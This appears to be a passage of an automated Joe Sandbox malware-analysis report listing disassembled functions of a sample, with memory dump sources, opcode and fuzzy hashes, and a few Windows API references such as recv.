                                                                                                                                                                                                                                                              Function 050B0545 Relevance: .1, Instructions: 60COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2187191531.00000000050B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_50b0000_file.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: 5f516889a2037798b74355d63cd8590a8689b285d3f634390ffabb389bb4abc9
                                                                                                                                                                                                                                                              • Instruction ID: c04a41289ac68148d3ca33b80255c9709c94ce77649f70d1dc7e837249646a54
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5f516889a2037798b74355d63cd8590a8689b285d3f634390ffabb389bb4abc9
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6BF090E724C125EEB101D5457BBCAFF676DF1D26313708467F842C6802E6D94F4A6131
                                                                                                                                                                                                                                                              Function 050B0595 Relevance: .0, Instructions: 38COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2187191531.00000000050B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_50b0000_file.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: 25b8ec14755d24b0b0669b590f4d945ff46c613fac3d85d4e44bc1d09a48df72
                                                                                                                                                                                                                                                              • Instruction ID: 225e4a1b1f6f1fcf21df67739ba74d9162c4ec1709713eb5ae55e50ae5468d0a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 25b8ec14755d24b0b0669b590f4d945ff46c613fac3d85d4e44bc1d09a48df72
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F8E0DFEB58C529EEB041A1803AFC6FF6B19F1E22323304563F442C1802C8CD0B0A5131
                                                                                                                                                                                                                                                              Function 050B0585 Relevance: .0, Instructions: 37COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2187191531.00000000050B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_50b0000_file.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: 6c73f81c7585dc9c61d60402a1c487e5dc42386e7b538141e971cb3df4001019
                                                                                                                                                                                                                                                              • Instruction ID: e4b6e5346d189ce4cfe571e3df296de4aae45f09b118a05ca36246400e03094e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 6c73f81c7585dc9c61d60402a1c487e5dc42386e7b538141e971cb3df4001019
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: ABE0689704C925EDB041D68037FC6FF7729F0A21313744663F482C1802CCC80B1A5270
                                                                                                                                                                                                                                                              Function 050B05B3 Relevance: .0, Instructions: 28COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2187191531.00000000050B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_50b0000_file.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: 764f9dc4a656dfa04f674187458a3730912f21ac8da5695b7645677090927506
                                                                                                                                                                                                                                                              • Instruction ID: 6bdb68fb8aed030b85cde06758fd0f4fb4569f982975a9a698be6ddfcebc80d6
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 764f9dc4a656dfa04f674187458a3730912f21ac8da5695b7645677090927506
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: E2E026A718491897A14072A432FC3FFFB14B5270323200273E841EA812D88A07099161

                                                                                                                                                                                                                                                              Non-executed Functions

                                                                                                                                                                                                                                                              Function 008A31A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: __floor_pentium4
                                                                                                                                                                                                                                                              • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                                                                                                                                                                                              • API String ID: 4168288129-2761157908
                                                                                                                                                                                                                                                              • Opcode ID: 523020a9721254111711195e4a5e9930602d66aab734683c438b0e2754f27e43
                                                                                                                                                                                                                                                              • Instruction ID: 2d268caf3f8425aa0d1f88567af5243bb5d43391d736c822a054bc71a85e0df0
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 523020a9721254111711195e4a5e9930602d66aab734683c438b0e2754f27e43
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: EBC23B71E046288FEF65CE28DD407A9B3B5FB89315F1441EAE84DE7640E778AE818F40
                                                                                                                                                                                                                                                              Function 0086E0C0 Relevance: 4.6, APIs: 3, Instructions: 102networkCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • recv.WS2_32(?,?,00000004,00000000), ref: 0086E10B
                                                                                                                                                                                                                                                              • recv.WS2_32(?,?,00000008,00000000), ref: 0086E140
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: recv
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1507349165-0
                                                                                                                                                                                                                                                              • Opcode ID: f378c90da98dce0f2f6c0edf30c466c7fd597742b5a72ed6260b6f2771a6b20d
                                                                                                                                                                                                                                                              • Instruction ID: 4a01de2adcc3ca209ef73700aceba4ad7bb3f83f165b9a1081e31389a751f318
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: f378c90da98dce0f2f6c0edf30c466c7fd597742b5a72ed6260b6f2771a6b20d
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8731D471A402589FD720CB6CDC85FABBBBCFB09724F010629F915E73D1DA74A8448BA0
                                                                                                                                                                                                                                                              Function 008A2D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
                                                                                                                                                                                                                                                              • Instruction ID: 584a55a2dcde0260cd2aa67d83498824a3a03583a673c88ac1bd845994a61f6f
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 80F13D71E006199FDF24CFA8C8806ADBBB1FF49314F258269E919EB745D731AE41CB90
                                                                                                                                                                                                                                                              Function 0087CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • GetSystemTimePreciseAsFileTime.KERNEL32(?,0087CF52,?,00000003,00000003,?,0087CF87,?,?,?,00000003,00000003,?,0087C4FD,00862FB9,00000001), ref: 0087CC03
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
